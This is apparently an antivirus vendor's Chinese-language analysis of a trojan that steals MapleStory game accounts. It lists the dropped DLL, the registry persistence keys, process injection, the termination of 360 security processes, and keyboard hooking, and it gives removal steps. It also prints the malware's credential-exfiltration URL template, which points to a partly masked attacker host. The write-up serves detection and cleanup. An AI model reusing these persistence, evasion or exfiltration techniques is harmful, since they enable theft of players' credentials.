Trojan/Win32.OnLineGames.bnep[Stealer]分析

一、 病毒标签：
病毒名称： Trojan/Win32.OnLineGames.bnep[Stealer]
病毒类型： 木马
文件 MD5： D96CA0FEDB5A28B1BE0EFB713CD2DD0C
公开范围： 完全公开
危害等级： 3
文件长度： 45,488 字节
感染系统： Windows98以上版本
开发工具： Microsoft Visual C++ 6.0

二、 病毒描述：
该恶意代码文件为冒险岛游戏盗号木马，病毒运行后获取当前进程某块句柄，对进程进行提权操作，读取.CBtrl代码段数据，比较自身数据是否被解压，如果没有被解压则创建病毒自身进程，并衍生8位随机字母病毒名的DLL文件到%System32%\目录下，且试图将病毒DLL文件注入到所有进程中，添加注册表病毒CLSID值及HOOK启动项，病毒DLL被加载之后遍历进程查找360safebox.exe、safeboxTray.exe进程，找到后强行结束这2个进程，并判断自身是否被注入到verclsid.exe、Explorer.exe、MapleStory.exe进程，如果找到则设置键盘消息钩子，查找含有"MapleStoryClass"类名称的窗口，找到之后向该窗口发送隐藏、关闭消息，使用户不得不从新开启游戏，当用户开启游戏输入账号密码时，病毒安装的键盘钩子会记录当前用户敲击的键盘信息，将截取到的游戏账号及密码以URL方式发送到作者指定的地址中。

三、 行为分析：
本地行为:
1、文件运行后会释放以下文件
%System32%\meiphsnl.dll （8位随机字母病毒名）
                       
2、新增注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{EE9EBB5C-5B4C-48d3-8BDD-0EDBF4F720B4}\InProcServer32\@
值: 字符串: "C:\WINDOWS\system32\meiphsnl.dll"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\meiphsnl.dll
值: 字符串: "{EE9EBB5C-5B4C-48d3-8BDD-0EDBF4F720B4}"
描述：添加病毒HOOK启动项

3、对进程进行提权操作，读取.CBtrl代码段数据，比较自身数据是否被解压，如果没有被解压则创建病毒自身进程，试图将病毒DLL文件注入到所有进程中，病毒DLL被加载之后遍历进程查找360safebox.exe、safeboxTray.exe进程，找到后强行结束该2个进程，判断自身是否被注入到verclsid.exe、Explorer.exe、MapleStory.exe进程，如果找到则设置键盘消息钩子，查找含有"MapleStoryClass"类名的窗口，找到之后向该窗口发送隐藏、关闭消息

网络行为:
将截取到游戏账户信息以ULR方式通过以下参数回传到作者地址中
http://www.yueliang****.com/fen/shanghai2/mail.asp?Zone=%s&server=%s%s%s&key=%s&Card=%s&PassTwo=%s&Store=%s&Pass4=%s&role=%s&lord=%s&level=%s&money=%s&bankMoney=%s&YB=%s&YB2=%s&goldCoin=%s&hardware=%s&other=%s&PCName=%s&vs=%s&equipment=%s&bag=%s&MB=%d&MBtime=%d&game=%s&inputsource=%s&ver=%s

注：%System32%是一个可变路径。病毒通过查询操作系统来决定当前System文件夹的位置。Windows2000/NT中默认的安装路径是C:\Winnt\System32，windows95/98/me中默认的安装路径是C:\Windows\System，windowsXP中默认的安装路径是C:\Windows\System32。
%Temp%  = C:\Documents and Settings\AAAAA\Local Settings\Temp 当前用户TEMP缓存变量
    %Windir%\                           WINDODWS所在目录
%DriveLetter%\                        逻辑驱动器根目录
%ProgramFiles%\                        系统程序默认安装目录
%HomeDrive% = C:\ 当前启动的系统的所在分区
%Documents and Settings%\        当前用户文档根目录

四、 清除方案：
1、使用安天防线可彻底清除此病毒(推荐)。
2、手工清除请按照行为分析删除对应文件，恢复相关系统设置。
(1) 删除病毒文件
%System32%\meiphsnl.dll
(2) 删除病毒添加的注册表项
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{EE9EBB5C-5B4C-48d3-8BDD-0EDBF4F720B4}\InProcServer32\@
值: 字符串: "C:\WINDOWS\system32\meiphsnl.dll"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\meiphsnl.dll
值: 字符串: "{EE9EBB5C-5B4C-48d3-8BDD-0EDBF4F720B4}"